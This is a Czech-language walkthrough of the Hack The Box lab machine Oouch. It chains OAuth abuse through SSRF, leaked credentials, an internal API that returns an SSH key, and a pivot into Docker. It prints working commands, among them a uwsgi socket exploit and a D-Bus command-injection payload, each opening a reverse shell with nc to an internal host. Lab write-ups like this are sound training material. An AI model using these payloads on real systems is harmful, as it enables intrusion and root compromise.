Oouch
Úvod a kontext
Oouch je dlouhý aplikační řetězec, kde se kombinuje OAuth a zneužití autorizačního toku, SSRF, reverse proxy a localhost trust assumptions, interní API a později i dockerová síť, uwsgi a D-Bus. Zvenku působí jako běžná webová aplikace, ale ve skutečnosti jde o několik spolupracujících komponent: Flask consumer na 5000/tcp, Django authorization server na 8000/tcp a další interní kontejnery.
Na tomhle stroji je potřeba držet architekturu v hlavě od začátku. Kdo nevnímá rozdíl mezi consumerem, authorization serverem a interní docker sítí, snadno se v něm ztratí a jednotlivé kroky pak vypadají jako nesouvisející náhody.
Počáteční průzkum
FTP prozradí architekturu
Vedle SSH a dvou webových portů je hned na začátku dostupné anonymní FTP. Soubor project.txt v něm vydá důležitou informaci: Flask -> Consumer a Django -> Authorization Server. Tím se výrazně zpřesní model aplikace ještě dřív, než člověk začne útočit na OAuth tok.
Samotný protokol a typické první scénáře kolem anonymous přístupu shrnuji i v článku FTP.
ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
21/tcp open ftp
22/tcp open ssh
5000/tcp open http nginx 1.14.2
8000/tcp open rtsp
project.txt:
Flask -> Consumer
Django -> Authorization Server
Consumer aplikace a OAuth workflow
Enumerace webu na 5000/tcp ukáže standardní cesty jako /login, /register, /oauth, /documents a /contact. To potvrzuje, že consumer deleguje autorizaci jinam a zároveň má vlastní funkcionalitu pro práci s dokumenty a kontaktním formulářem.
Pro podobné rychlé mapování cest se v praxi hodí Dirsearch, zvlášť když je potřeba odlišit veřejný consumer od odděleného authorization serveru.
./dirsearch/dirsearch.py -u http://$IP:5000 -e php -x 403 -r
/login
/register
/oauth
/documents
/contact
Analýza zjištění
První zlom: OAuth code přes SSRF
Na Oouch se vyplatí číst OAuth endpoints jako útočnou plochu, ne jen jako autentizační detaily. Přes /oauth šlo získat autorizační code a kontaktní mechanizmus se dal zneužít jako SSRF, takže server navštívil předanou URL jménem administrátora.
Právě tím vznikl první důležitý artefakt: OAuth code vydaný v privilegovaném kontextu.
Developer credentials a registrace vlastní aplikace
Další zásadní stopa je v /documents, kde se objeví přístupové údaje develop:supermegasecureklarabubu123!. Ty otevřou další možnosti na authorization serveru, hlavně registraci vlastní OAuth aplikace a následné zneužití SSRF k získání administrátorské sessionid.
Jakmile je k dispozici session administrátora, dá se vytvořit aplikace s grantem client_credentials, vydat si token a sáhnout do interního API.
curl -X POST 'http://authorization.oouch.htb:8000/oauth/token/' \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "grant_type=client_credentials&client_id=aMQDcsyUjT0Kz0JOAPDTYSKQJptnaz8MZ5j6TjaV&client_secret=__CENSORED__" -L -s
{"access_token": "JxUkNjpfM5i5ZvlqifDHvo7kzFyJOo", "expires_in": 600, "token_type": "Bearer", "scope": "read write"}
Tenhle token už stačí na interní endpoint, který vrátí SSH přístup pro qtc.
http://authorization.oouch.htb:8000/api/get_ssh/?access_token=__CENSORED__
=> {"ssh_server": "consumer.oouch.htb", "ssh_user": "qtc", "ssh_key": "-----BEGIN OPENSSH PRIVATE KEY----- ..."}
Získání přístupu
SSH jako qtc
Po přepsání vráceného klíče do souboru už jde udělat přímé SSH na consumer.oouch.htb jako qtc. To je první skutečný shell mimo webové rozhraní.
ssh -i Oouch_qtc_id_rsa qtc@consumer.oouch.htb
cat user.txt
__CENSORED__
Uživatelský účet zároveň odhalí další důležitý kontext: .note.txt zmiňuje D-Bus a iptables, takže se potvrzuje, že ochranná logika aplikace neběží jen v Pythonu, ale zasahuje i do systémové sběrnice.
Pivot do interní sítě
ARP cache ukáže další hosty v dockerové síti a stejný klíč dovolí přejít i na 172.18.0.2. Tam už je možné číst config.py a routes.py, které prozradí dva zásadní detaily: aplikace používá /tmp/uwsgi.socket a při blokování klientů volá D-Bus metodu htb.oouch.Block.Block.
To je přesně ten moment, kdy se naplno projeví pattern popsaný v článku Lokálně dostupné služby po footholdu: localhost není boundary: po prvním shellu najednou rozhodují interní kontejnery, sockety a služby, které zvenku vůbec nebyly vidět.
Eskalace oprávnění
uwsgi a command injection v D-Bus blokátoru
Interní host s uwsgi socketem dovolí první pivot uvnitř dockerové sítě. Po úpravě veřejného PoC pro uwsgi jde přes /tmp/uwsgi.socket spustit příkaz a otevřít si shell v kontejnerech, které zvenku nejsou dosažitelné.
python uwsgi_exp.py -m unix -u /tmp/uwsgi.socket -c "/tmp/nc -e /bin/bash 172.18.0.1 4000"
To ale ještě není konec. V kódu aplikace je vidět, že „ochrana proti hackerům“ předává IP adresu do D-Bus služby htb.oouch.Block. Pokud se této metodě pošle řetězec místo čisté IP, skončí to command injection a příkaz se provede s vysokými právy.
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block "string:;rm /tmp/.0; mkfifo /tmp/.0; cat /tmp/.0 | /bin/bash -i 2>&1 | nc 172.18.0.1 4001 >/tmp/.0;"
Výsledkem je root shell a tím i přístup k root.txt.
cat root.txt
__CENSORED__
Shrnutí klíčových poznatků
- Oouch není jeden web, ale spolupráce consumeru, authorization serveru a interních kontejnerů. Bez tohoto modelu nedává řetězec smysl.
- První skutečný posun přinesla kombinace SSRF a OAuth, která vedla k administrátorské session a nakonec k SSH klíči pro
qtc. - User část nekončí shellem na veřejné aplikaci; důležitější je pivot do interní dockerové sítě.
- Root část stojí na interním provozu:
uwsgisocketu, D-Bus službě a špatně navržené automatice kolemiptables.
Co si odnést do praxe
- OAuth implementace musí být navržená jako bezpečnostní hranice. Jakmile lze server přinutit, aby sledoval cizí redirecty nebo zpracoval cizí autorizační tok, z autentizace se stává útoková plocha.
- Interní API endpointy, které vracejí SSH klíče nebo jiné dlouhodobé přístupy, musí být oddělené výrazně silněji než běžné aplikační funkce.
- Ochranné mechanismy přes D-Bus a
iptablesnejsou bezpečné samy od sebe. Jakmile přijímají neověřený vstup z aplikace, často vytvoří přímočařejší root cestu než původní zranitelnost.
Další související články
HTB Stroje
Techniky
- Document workflow jako RCE nebo file-read primitivum
- Stored XSS a admin browser a headless review jako útoková plocha